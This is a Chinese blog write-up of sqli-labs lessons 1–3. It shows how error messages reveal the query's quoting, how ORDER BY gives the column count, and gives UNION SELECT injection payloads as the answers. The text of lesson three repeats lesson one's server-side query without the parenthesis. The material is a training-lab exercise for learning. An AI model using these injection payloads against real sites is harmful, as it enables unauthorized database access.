SQLI第一二三题

SQLi题目

文章目录

  • SQLi题目
    • 第一题:
    • 第二题:
    • 第三题:

第一题:

先尝试-1、‘、“等字符,产生报错信息,通过报错信息来判断接下来如何操作

SQLI第一二三题_第1张图片

报错信息用两个单引号标注,我们这里复制出两个单引号之间的内容,就是下面的字符串

报错信息-----> ’ 1’ ’ LIMIT 0,1

根据报错信息,可以确定输入参数的内容被存放到一对单引号中间,

猜想:咱们输入的1在数据库中出现的位置为:select … from … where id=’1’ …,

也可以查看sqli-lab中less-1的php文件可以看到,和猜想一致。

SQLI第一二三题_第2张图片

这里直接尝试联合查询,爆出注入点(%23为#的url编码,注释后面内容,–+也是注释, --空格)

首先我们查询列数

当我们输入1‘order by 5 %23

在服务端执行的语句

SELECT * FROM users WHERE id=’ 1 ’ order by 5 %23 ’ LIMIT 0,1

等同于

SELECT * FROM users WHERE id=’ 1 ’ order by 5

依次查询出字段数为3

开始注入

SQLI第一二三题_第3张图片

答案------> ?id=-1’ union select 1,2,3%23

第二题:

同样的我们尝试 单引号、双引号报错

SQLI第一二三题_第4张图片

报错信息---------> ’ LIMIT 0,1

根据报错信息,可以确定输入参数的内容被直接存放查询语句

查看源代码也可以验证猜想

SQLI第一二三题_第5张图片

所以我们直接联合查询,这里步骤与第一题类似,不再复述

SQLI第一二三题_第6张图片

答案------> ?id=-1 union select 1,2,3%23

第三题:

同样的我们尝试 单引号、双引号报错

SQLI第一二三题_第7张图片

报错信息---------> ‘1’’) LIMIT 0,1

根据报错信息,可以确定输入参数的内容被存放到一对括号中间

查看源代码也可以验证猜想

SQLI第一二三题_第8张图片

首先我们查询列数

当我们输入1‘)order by 5 %23

在服务端执行的语句

SELECT * FROM users WHERE id=’ 1 ’ order by 5 %23 ’ LIMIT 0,1

等同于

SELECT * FROM users WHERE id=’ 1 ’ order by 5

依次查询出字段数为3

开始注入

SQLI第一二三题_第9张图片

SQLI第一二三题_第10张图片

答案------> ?id=-1’) union select 1,2,3 %23

你可能感兴趣的:(SQLi,SQLi)